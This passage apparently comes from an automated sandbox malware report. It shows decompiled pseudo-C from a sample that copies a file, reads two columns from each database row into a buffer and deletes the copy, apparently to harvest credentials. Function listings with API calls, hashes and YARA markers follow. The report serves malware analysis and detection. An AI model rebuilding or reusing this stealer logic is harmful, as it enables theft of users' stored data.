				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr* _t59;
				intOrPtr* _t69;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t85;
				void* _t87;
				void* _t89;
				void* _t90;
				void* _t91;

				_t59 = __ecx;
				if(_a8 == 0) {
					L18:
					return 0;
				}
				_t24 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t25 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_a8 = _t25;
				_t87 =  *((intOrPtr*)( *0x40e000))(_t24, _a4,  *0x40e284);
				_t27 = E0040A69E( *0x40e000,  &_a8);
				_t89 = _a8;
				if(_t27 == 0) {
					L16:
					LocalFree(_t87);
					L17:
					DeleteFileW(_t89);
					LocalFree(_t89);
					goto L18;
				}
				_push(0);
				_push(_t89);
				_push(_t87);
				if( *((intOrPtr*)( *0x40e184))() == 0) {
					goto L16;
				}
				_t32 =  *0x40e488; // 0x6dd4da30
				_push( &_v8);
				_push(_t89);
				if( *_t32() != 0) {
					L11:
					DeleteFileW(_t89);
					if(_t89 != 0) {
						LocalFree(_t89);
					}
					if(_t87 != 0) {
						LocalFree(_t87);
					}
					return 1;
				}
				_t39 =  *0x40e494; // 0x6dc6b910
				_t40 =  *_t39(_v8,  *0x40e238, 0xffffffff,  &_a8, 0);
				_t91 = _t90 + 0x14;
				if(_t40 == 0) {
					while(1) {
						_push(_a8);
						_t41 =  *0x40e48c; // 0x6dbf8060
						if( *_t41() != 0x64) {
							break;
						}
						_t43 =  *0x40e4b4; // 0x6dbf24b0
						_t44 =  *_t43(_a8, 0);
						_t69 =  *0x40e4b4; // 0x6dbf24b0
						_v12 = _t44;
						_t45 =  *_t69(_a8, 1);
						_t91 = _t91 + 0x10;
						_v16 = _t45;
						_push(_v12);
						if( *((intOrPtr*)( *0x40e08c))() > 1) {
							_t47 = E0040A503( *_t59, _v12);
							_t82 =  *0x40e228; // 0x735d40
							 *_t59 = _t47;
							_t48 = E0040A503(_t47, _t82);
							_push(_v16);
							 *_t59 = _t48;
							if( *((intOrPtr*)( *0x40e08c))() > 1) {
								_t51 = E0040A503( *_t59, _v16);
								_t84 =  *0x40e228; // 0x735d40
								 *_t59 = _t51;
								_t52 = E0040A503(_t51, _t84);
								_t85 =  *0x40e228; // 0x735d40
								 *_t59 = _t52;
								 *_t59 = E0040A503(_t52, _t85);
							}
						}
					}
					 *0x40e4b0(_a8);
					 *0x40e4a4(_v8);
					goto L11;
				} else {
					LocalFree(_t87);
					 *0x40e4b0(_a8);
					 *0x40e4a4(_v8);
					goto L17;
				}
			}

0x00407220
0x00407222
0x004073c0
0x00000000
0x004073c0
0x00407235
0x00407242
0x00407253
0x0040725c
0x0040725e
0x00407263
0x00407268
0x004073ab
0x004073ac
0x004073b2
0x004073b3
0x004073ba
0x00000000
0x004073ba
0x00407274
0x00407276
0x00407277
0x0040727c
0x00000000
0x00000000
0x00407282
0x0040728a
0x0040728b
0x00407292
0x00407389
0x0040738a
0x00407392
0x00407395
0x00407395
0x0040739d
0x004073a0
0x004073a0
0x00000000
0x004073a8
0x00407298
0x004072ae
0x004072b0
0x004072b5
0x00407361
0x00407361
0x00407364
0x0040736f
0x00000000
0x00000000
0x004072db
0x004072e5
0x004072e7
0x004072f2
0x004072f5
0x004072fd
0x00407300
0x00407303
0x0040730b
0x00407312
0x00407317
0x0040731f
0x00407321
0x00407326
0x00407329
0x00407335
0x0040733c
0x00407341
0x00407349
0x0040734b
0x00407350
0x00407358
0x0040735f
0x0040735f
0x00407335
0x0040730b
0x00407378
0x00407381
0x00000000
0x004072bb
0x004072bc
0x004072c5
0x004072ce
0x00000000
0x004072d5

APIs

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(00000000), ref: 004072BC
DeleteFileW.KERNEL32(00000000,?), ref: 0040738A
LocalFree.KERNEL32(00000000), ref: 00407395
LocalFree.KERNEL32(00000000), ref: 004073A0
LocalFree.KERNEL32(00000000), ref: 004073AC
DeleteFileW.KERNEL32(00000000), ref: 004073B3
LocalFree.KERNEL32(00000000), ref: 004073BA

Strings

@]s, xrefs: 00407317, 00407341, 00407350

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: @]s
API String ID: 2194112602-1237473101
Opcode ID: 5a4f429bb92c1425083624027269dac2f6f66512f29d3a46626db28773defc43
Instruction ID: e8c6905146b6e6fcb6e5b83ffe865c27a3063a5e14c3c7fc069cf135c206e258
Opcode Fuzzy Hash: 5a4f429bb92c1425083624027269dac2f6f66512f29d3a46626db28773defc43
Instruction Fuzzy Hash: 17419431504110AFEB099F66EE85E6E37B5EF44320F104839FD15FB2A0DB78A921DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0059747A Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

LocalFree.KERNEL32(00000000), ref: 00597523
DeleteFileW.KERNEL32(00000000), ref: 005975F1
LocalFree.KERNEL32(00000000), ref: 005975FC
LocalFree.KERNEL32(00000000), ref: 00597607
LocalFree.KERNEL32(00000000), ref: 00597613
DeleteFileW.KERNEL32(00000000), ref: 0059761A
LocalFree.KERNEL32(00000000), ref: 00597621

Strings

@]s, xrefs: 0059757E, 005975A8, 005975B7

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: @]s
API String ID: 2194112602-1237473101
Opcode ID: e9d8f00487e522992aaaed3d2169ef1b2b551e54072380db451c7127056c5058
Instruction ID: f40f344d51629a5d4ce826101f3305d3da99b6f29bcb8f2b1a1e28bd775e6a9e
Opcode Fuzzy Hash: e9d8f00487e522992aaaed3d2169ef1b2b551e54072380db451c7127056c5058
Instruction Fuzzy Hash: 4C41E431600115AFDF099FA6EE49F6D3BB5FF89310F108829F815E72A0DB70A911CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00599B6D Relevance: 12.8, APIs: 10, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d851c9bc5cda07b011c471ba514d21b876054248c69a850a91c851fea1f9c6b3
Instruction ID: f8e975aec67b4887fd5406634ffe79c0f0b18865da7acd6a82f8aead320461b1
Opcode Fuzzy Hash: d851c9bc5cda07b011c471ba514d21b876054248c69a850a91c851fea1f9c6b3
Instruction Fuzzy Hash: 8D81D371900216BFDF00DFA9DE49EAE7BB9FB84310F104928F914F7290DB749A118BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00597EC9 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(00000000), ref: 005980A0
InternetCloseHandle.WININET(?), ref: 005980AC
InternetCloseHandle.WININET(00000000), ref: 005980B3
LocalFree.KERNEL32(0000002F), ref: 00598121
LocalFree.KERNEL32(?), ref: 0059812A
LocalFree.KERNEL32(00000000), ref: 00598131

Strings

/, xrefs: 00597F3C

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleInternetLocal
String ID: /
API String ID: 3319388337-2043925204
Opcode ID: 1b3c63f6ad7b7c56e05ea6f413d6885c404e8ecc1f31910e50c1ca249fd4186c
Instruction ID: ba6eac3b8ed0d9e8e70a0071e122acc41322de302057572de10dd02e74b49245
Opcode Fuzzy Hash: 1b3c63f6ad7b7c56e05ea6f413d6885c404e8ecc1f31910e50c1ca249fd4186c
Instruction Fuzzy Hash: E271E371A00215BFEF149BA5CD45F7E7BB8FB48700F048829FA14F7290EAB4AD519B64

Uniqueness

Uniqueness Score: -1.00%

Function 00430DD4 Relevance: 12.2, APIs: 8, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00430DD8
_write_multi_char.LIBCMTD ref: 004315EB
_write_string.LIBCMTD ref: 00431606
_write_multi_char.LIBCMTD ref: 00431632
__mbtowc_l.LIBCMTD ref: 004316A1

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 4186970751-0
Opcode ID: a0cf7bf72d40c6b3fcfa4398c383bd4095b36ac00e10a8f1071b07447650425d
Instruction ID: 59376063915a0a8db93da85e9deece7cf929ebc1784357db36357fb5499e79b7
Opcode Fuzzy Hash: a0cf7bf72d40c6b3fcfa4398c383bd4095b36ac00e10a8f1071b07447650425d
Instruction Fuzzy Hash: 5FA17DF1E002189BDB24CF55CC91BEEB3B5AF48304F14919AE6096B292D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00591EEE Relevance: 12.2, APIs: 8, Instructions: 151COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,00000000,00000000,?,00000000,00000000), ref: 00591F2F
PathCombineW.SHLWAPI(?,00000000,0040C79C,?,00000000,00000000), ref: 00591F53
LocalFree.KERNEL32(?,?,00000000,00000000), ref: 00592002
LocalFree.KERNEL32(?,?,00000000,00000000), ref: 0059204C
CloseHandle.KERNEL32(00000000,?,00000000,00000000), ref: 00592058
LocalFree.KERNEL32(?,?,00000000,00000000), ref: 00592062
LocalFree.KERNEL32(00000000,?,00000000,00000000), ref: 00592069
LocalFree.KERNEL32(00000000,?,00000000,00000000), ref: 00592072

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$CombinePath$CloseHandle
String ID:
API String ID: 2998194811-0
Opcode ID: 7829dc6c71f128cacdf391500ca352a992bf4a38fd881ec11def570a6cd4989f
Instruction ID: c9003284d2ff567bbd6c62f926a42bdbfb18d483d189e756e3598211dcf4850e
Opcode Fuzzy Hash: 7829dc6c71f128cacdf391500ca352a992bf4a38fd881ec11def570a6cd4989f
Instruction Fuzzy Hash: 32512FB5A00215EFEF04DFA5DE45AAE7BB8FB48310F104828F914B7250D775AD10CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00428A58 Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00428A66

Part of subcall function 00428F40: _cmpBYTE.LIBCMTD ref: 00428F78

_cmpDWORD.LIBCMTD ref: 00428A8D

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction ID: 789ec6b790b3460523aa97c3653b34ec8f1834b2997240226c4a151201fd5581
Opcode Fuzzy Hash: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction Fuzzy Hash: 6B315471A02118EFCB04EFBCEA48AAD7B75AB40305F91815EF409AB245DE38AF41DB55

Uniqueness

Uniqueness Score: -1.00%

Function 0042B555 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0042B555

Part of subcall function 00419D50: __getptd_noexit.LIBCMTD ref: 00419D56

_memset.LIBCMT ref: 0042B5E6
__errno.LIBCMTD ref: 0042B5EE
__errno.LIBCMTD ref: 0042B5F8
_memset.LIBCMT ref: 0042B6C3
__errno.LIBCMTD ref: 0042B718

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$_memset$__getptd_noexit
String ID:
API String ID: 4262221207-0
Opcode ID: c3de8bdb0bd3d2021b5b8e9d24e112d6a6bb03619bd3f07dca8100efc64d381b
Instruction ID: ea409ff7ec6aca4b4ad4ab9628627815d2f39d53bb3e6b11bd0a1de42637db43
Opcode Fuzzy Hash: c3de8bdb0bd3d2021b5b8e9d24e112d6a6bb03619bd3f07dca8100efc64d381b
Instruction Fuzzy Hash: B4617C70A00219EFCF14CF58D945AAE33B1EF84328F60821AE8296B3D5D7399D41CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00420664 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 00420818
__inc.LIBCMTD ref: 0042084A
__inc.LIBCMTD ref: 00420909
__mbtowc_l.LIBCMTD ref: 0042094B

Strings

, xrefs: 00420883
{, xrefs: 0042088C

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __inc$__mbtowc_l__un_inc
String ID: ${
API String ID: 579247601-4046706400
Opcode ID: dc69d8516cc11fe7fadc67670a898c0b1153202439d2a7f05566148b15abe76a
Instruction ID: 1055374d518e5f5b73a788cd124758a6c5e3ef42acecea30e9f68282066d24a0
Opcode Fuzzy Hash: dc69d8516cc11fe7fadc67670a898c0b1153202439d2a7f05566148b15abe76a
Instruction Fuzzy Hash: E541E4B0E01368DFCF24DB95E8846EEB7B1AF54304F54829AD41A67313D6389A80CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042FF07 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042FF68
__aullrem.LIBCMT ref: 00430135
__aulldiv.LIBCMT ref: 00430157

Strings

0, xrefs: 0042FF23
9, xrefs: 00430168
', xrefs: 0042FF07

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: d65ada69c6f0448e455e8efc2762e98b2572393252772e8e5edb01c5ee491a82
Instruction ID: ef80cffb82c7ee0d620c241a3dff5ded7c6569a569e687b7e648e20a43cd6067
Opcode Fuzzy Hash: d65ada69c6f0448e455e8efc2762e98b2572393252772e8e5edb01c5ee491a82
Instruction Fuzzy Hash: 4741E571D06229DFDB64CF58D8A9BAEB7B5FB48304F1486EAD008A7240C7399E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00428B84 Relevance: 10.6, APIs: 7, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00428B92

Part of subcall function 00428F40: _cmpBYTE.LIBCMTD ref: 00428F78

_cmpDWORD.LIBCMTD ref: 00428BB9

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction ID: 09e779532c7962625a25b6a3118f594af604480c47d30444c376482f5ac8ff98
Opcode Fuzzy Hash: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction Fuzzy Hash: ED313371A02118EFCB04DFBCEA489AD7B75AB40305F91C15EF449AB209DE38AF45DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00428940 Relevance: 10.6, APIs: 7, Instructions: 96COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 0042894E

Part of subcall function 00428F40: _cmpBYTE.LIBCMTD ref: 00428F78

_cmpDWORD.LIBCMTD ref: 00428975

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction ID: 9c2e0ac5a81b51015fbc54fc562c241c41ef6e53ee4f6753c511bf4ecc86f314
Opcode Fuzzy Hash: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction Fuzzy Hash: A9317471A02118EFCB04EFBCEA48AAD7B75AB40305F91815EE449B7205DE38EF41DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00420A0A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00420A69
__inc.LIBCMTD ref: 00420A9C
_isxdigit.LIBCMTD ref: 00420BBD
__hextodec.LIBCMTD ref: 00420BF0
_isdigit.LIBCMTD ref: 00420C16
__inc.LIBCMTD ref: 00420D00
__un_inc.LIBCMTD ref: 00420D24

Strings

p, xrefs: 00420BAF
0, xrefs: 00420A4F

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: b0356fd5653e0a6f6e224d2ad77bfed6b82b230c62960876a50289a7ee23f875
Instruction ID: a3020a5fbde0ace490a1d92676205228b3d3f57a385478ac9b20bcf3b838cca1
Opcode Fuzzy Hash: b0356fd5653e0a6f6e224d2ad77bfed6b82b230c62960876a50289a7ee23f875
Instruction Fuzzy Hash: 3D4154B4E052798BCF25CFA5E8943EEBBF1AF55308F64819BC41966203D2395A81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 005986FC Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 134stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 0059878A
LocalFree.KERNEL32(00000000), ref: 00598860
CloseHandle.KERNEL32(00000000), ref: 0059886E
LocalFree.KERNEL32(00000000), ref: 00598875

Strings

s, xrefs: 005987AD
/, xrefs: 00598760

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandlelstrlen
String ID: /$s
API String ID: 3009051031-4105443823
Opcode ID: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction ID: 9d877fabb7a6e436b4d6f02a42fb5a5d9a4190c258d3f8a38622d3601f85291a
Opcode Fuzzy Hash: 2efbc42d44f6ec5ca4160c273d464a785a5d876e109b975a63a0bab6d59c1f12
Instruction Fuzzy Hash: 5341FD71900215BEEF14ABA5CD55FBABBB8FB44300F408868F505E7090EBB0AE58CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00599536 Relevance: 9.1, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,00599CDB,00000000,00000000,00000000,00000000,00000000), ref: 0059962C

Part of subcall function 0059A729: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,00000000,00000000), ref: 0059A758

wsprintfW.USER32 ref: 0059964A

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00599CDB,00000000), ref: 00599662
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00599CDB,00000000), ref: 00599669
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00599CDB,00000000,00000000,00000000,00000000,00000000), ref: 00599678
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00599CDB,00000000,00000000,00000000,00000000,00000000), ref: 00599682

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$ByteCharGlobalInfoMultiSystemWidewsprintf
String ID:
API String ID: 2924325140-0
Opcode ID: a6de5e848d937083b49f0169d3b41f08eb3f60cdac5fbd5286eae1f109443dba
Instruction ID: 7074522af407b5394f061221306d902fac7becca364138fbbc03bf9801353414
Opcode Fuzzy Hash: a6de5e848d937083b49f0169d3b41f08eb3f60cdac5fbd5286eae1f109443dba
Instruction Fuzzy Hash: 454191B5A002149FDB04CFA9DDC496ABBF8FB48320B148579FE09EB351DA309D40CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00599343 Relevance: 9.1, APIs: 6, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000104,?,?,?,00599CC9,00000000), ref: 005993A6
RegCloseKey.ADVAPI32(00000000,?,?,?,00599CC9,00000000), ref: 005993AF
LocalFree.KERNEL32(00000000,?,?,?,00599CC9,00000000), ref: 005993C2
wsprintfW.USER32 ref: 005993D4

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(00000000,00000000), ref: 005993EC
LocalFree.KERNEL32(00000000), ref: 005993F3

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$CloseGlobalQueryValuewsprintf
String ID:
API String ID: 923078377-0
Opcode ID: 1195a9609c4ac859f50556a4f5fb5b67e16fe42b1b7cf2e21ecfb1ab86fba5f5
Instruction ID: bb71b50e3a6bcd99b3a16052bf1ad9b6b6168f2fd3189d3a4b15efa14895a857
Opcode Fuzzy Hash: 1195a9609c4ac859f50556a4f5fb5b67e16fe42b1b7cf2e21ecfb1ab86fba5f5
Instruction Fuzzy Hash: C3116671100110FBE7149BA6ED49E5B7FBCFB49750B104838F605E2161D6B15920C779

Uniqueness

Uniqueness Score: -1.00%

Function 00596252 Relevance: 9.0, APIs: 7, Instructions: 274COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000), ref: 00596488

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000), ref: 00596492
LocalFree.KERNEL32(00000000,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 005964D7
LocalFree.KERNEL32(?,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0059652E
LocalFree.KERNEL32(00000000,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00596535
LocalFree.KERNEL32(00000000,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0059658C
LocalFree.KERNEL32(?,?,?,?,?,00595B3E,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00596596

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$Global
String ID:
API String ID: 67877634-0
Opcode ID: 154df15a1167a433e68271407e97ec1704788d52295b520c09530d825bd9e518
Instruction ID: 7f5703680475213f21b1e7a0439f2026d66bdcb5aef3c16403087e528bbc7a20
Opcode Fuzzy Hash: 154df15a1167a433e68271407e97ec1704788d52295b520c09530d825bd9e518
Instruction Fuzzy Hash: 88A18A72504301AFDB14DFA5DE8496BBBF5FF88310F004928FA59A7260D771E924CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 005939C7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 200fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00593C32

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

DeleteFileW.KERNEL32(?), ref: 00593C11
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 00593C21
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00593C28

Strings

@]s, xrefs: 00593B9D, 00593BC6, 00593BD5

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: @]s
API String ID: 2194112602-1237473101
Opcode ID: aa236570a63e942e95a62eeae442c9e13dcf8293740132a561ba828fd4245b9e
Instruction ID: 77a78854cc9add83df71ed75939d41ec5c2d6946f59ad3d6f86369c066ad0096
Opcode Fuzzy Hash: aa236570a63e942e95a62eeae442c9e13dcf8293740132a561ba828fd4245b9e
Instruction Fuzzy Hash: 79718D31504220EFDF059FA6EE89A6D3BB5FB48310B104D35F925E72A1DB31DA20CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042FEF4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042FF68
__aullrem.LIBCMT ref: 00430135
__aulldiv.LIBCMT ref: 00430157

Strings

0, xrefs: 0042FF23
9, xrefs: 00430168

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 41ba9041e073bb15ec53c3d68c0243438a2683b8a4d8a65e34a2c78bd0c82506
Instruction ID: 17c75193d5e66341643ac04ad05f83e29f20ddbe34abb2b5208df055b995ecf8
Opcode Fuzzy Hash: 41ba9041e073bb15ec53c3d68c0243438a2683b8a4d8a65e34a2c78bd0c82506
Instruction Fuzzy Hash: 6E41F571D06229DFDB64CF48D8A9BAEB7B5FB49304F5086AAD008A7240C7395E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00431279 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004312E0
__aullrem.LIBCMT ref: 004314B0
__aulldiv.LIBCMT ref: 004314D2

Strings

9, xrefs: 004314E3
', xrefs: 00431279

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: e8478181fbcf0d97f5aaa5d4289ea9646e2b5478815b3089824e4077cb9ac537
Instruction ID: 33966614cb291029f0c7f667bd4cfbcc9821d282900e84767b526b2402c629c4
Opcode Fuzzy Hash: e8478181fbcf0d97f5aaa5d4289ea9646e2b5478815b3089824e4077cb9ac537
Instruction Fuzzy Hash: 694135B0E002299FDB24CF48C841BAEB7B5FF89314F1051AAD148AB251C3389E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00420B37 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00420B85
_isxdigit.LIBCMTD ref: 00420BBD
__hextodec.LIBCMTD ref: 00420BF0

Strings

p, xrefs: 00420BAF
+, xrefs: 00420B50

Memory Dump Source

